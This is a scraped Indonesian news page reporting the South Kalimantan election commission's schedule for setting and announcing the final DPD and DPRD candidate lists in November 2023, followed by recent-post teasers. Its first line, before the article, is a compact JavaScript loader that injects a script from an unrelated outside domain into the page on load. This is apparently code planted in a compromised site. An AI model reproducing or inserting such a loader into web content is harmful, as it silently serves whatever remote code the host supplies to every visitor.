(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

KPU Kalsel Segara Umumkan Daftar Calon Tetap DPD dan DPRD


KANALKALIMANTAN.COM, BANJARMASIN – Setelah melewati sejumlah tahapan, Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) tinggal menetapkan Daftar Calon Tetap (DCT) peserta Pemilu.

Penetapan DCT Caleg Dewan Perwakilan Daerah (DPD) RI dan Dewan Perwakilan Rakyat Daerah (DPRD) dijadwalkan akan dilaksanakan pada Jumat (3/11/2023), kemudian sehari setelahnya tepatnya Sabtu (4/11/2023) akan diumumkan ke publik.

“Tanggal 3 November kita tetapkan DCT, tanggal 4 pengumuman dan tanggal 5 kita serahkan ke KPU RI,” ungkap Ketua KPU Kalsel Andi Tenri Sompa kepada Kanalkalimantan.com, Kamis (2/11/2023).

Sebelum itu kata Andi Tenri, pihaknya telah melakukan finalisasi verifikasi dan validasi penyusunan daftar bacaleg yang akan dimasukan ke dalam surat suara.

Baca juga: Pemilik Kafe Jual Miras di Trikora Banjarbaru Didenda Rp1,5 Juta

“18 Parpol tidak ada yang komplain terhadap yang dibuat dalam surat-surat tersebut,” ujarnya.

Ditegaskan Ketua KPU Kalsel, setelah DCT ditetapkan tidak ada lagi perubahan yang dapat dilakukan peserta Pemilu baik calon anggota DPD maupun DPRD.

Setelah penetapan, selanjutnya KPU Kalsel dikatakan akan mempersiapkan masa kampanye yang akan dimulai dari tanggal 28 November 2023 sampai 10 Februari 2024.

Termasuk nanti pihaknya akan mengundang kembali seluruh perwakilan 18 Parpol dan calon DPD RI untuk membahas terkait juknis kampanye dan pelaporan dana kampanye.

Baca juga: Peliputan Pemilu 2024 Wartawan Harus Perhatikan Kode Etik Jurnalistik

Namun, Andi Tenri mengatakan untuk petunjuk teknis masih menunggu revisi Peraturan Komisi Pemilihan Umum (PKPU) Nomor 15 Tahun 2023 tentang Kampanye Pemilu setelah adanya putusan Mahkamah Konstitusi (MK) yang memperbolehkan kampanye di lingkungan pendidikan.

“Juknisnya itu belum turun, karena kemarin ada putusan Mahkamah Konstitusi tentang kampanye di lingkungan pendidikan, mungkin dalam beberapa hari ini sudah turun,” kata Andi Tenri. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Hari Kopassus 16 April, Ini Sejarah Korps Baret Merah “Berani, Benar, Berhasil”

KANALKALIMANTAN.COM - Hari Kopassus (Komando Pasukan Khusus) diperingati setiap 16 April. Komando Pasukan Khusus atau… Read More

3 jam ago

Bagian Organisasi Setda Banjar Gelar Penguatan AKIP

KANALKALIMANTAN.COM, BANJARBARU - Bagian Organisasi Setda Kabupaten Banjar menggelar kegiatan Penguatan Implementasi Akuntabilitas Kinerja Instansi… Read More

3 jam ago

Dorong Inovasi dan Kualitas Pekerjaan Konstruksi, PUPR Kalsel Gelar Sosialisasi Jasa Konstruksi

KANALKALIMANTAN.COM, BANJARBARU - Dalam rangka memberikan pemahaman mendalam tentang tata cara penyusunan perkiraan biaya pekerjaan… Read More

4 jam ago

Pengamanan PSU Polres Banjarbaru Dibackup BKO Polda Kalsel, Satuan Brimob hingga Polres Tetangga

KANALKALIMANTAN.COM, BANJARBARU - Jajaran personel Polres Banjarbaru melaksanakan Tactical Floor Game (TFG) dalam rangka persiapan… Read More

4 jam ago

DPMPTSP Kapuas Petakan Potensi dan Peluang Investasi

KANALKALIMANTAN.COM, KUALA KAPUAS - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Kapuas… Read More

4 jam ago

Precia Raih Predikat Terbaik I Lomba Bertutur Tingkat SD/MI se-Kabupaten Banjar

KANALKALIMANTAN.COM - MARTAPURA - Precia Joanna Sitorus dari SD Mitra Kasih School meraih predikat Terbaik… Read More

8 jam ago

This website uses cookies.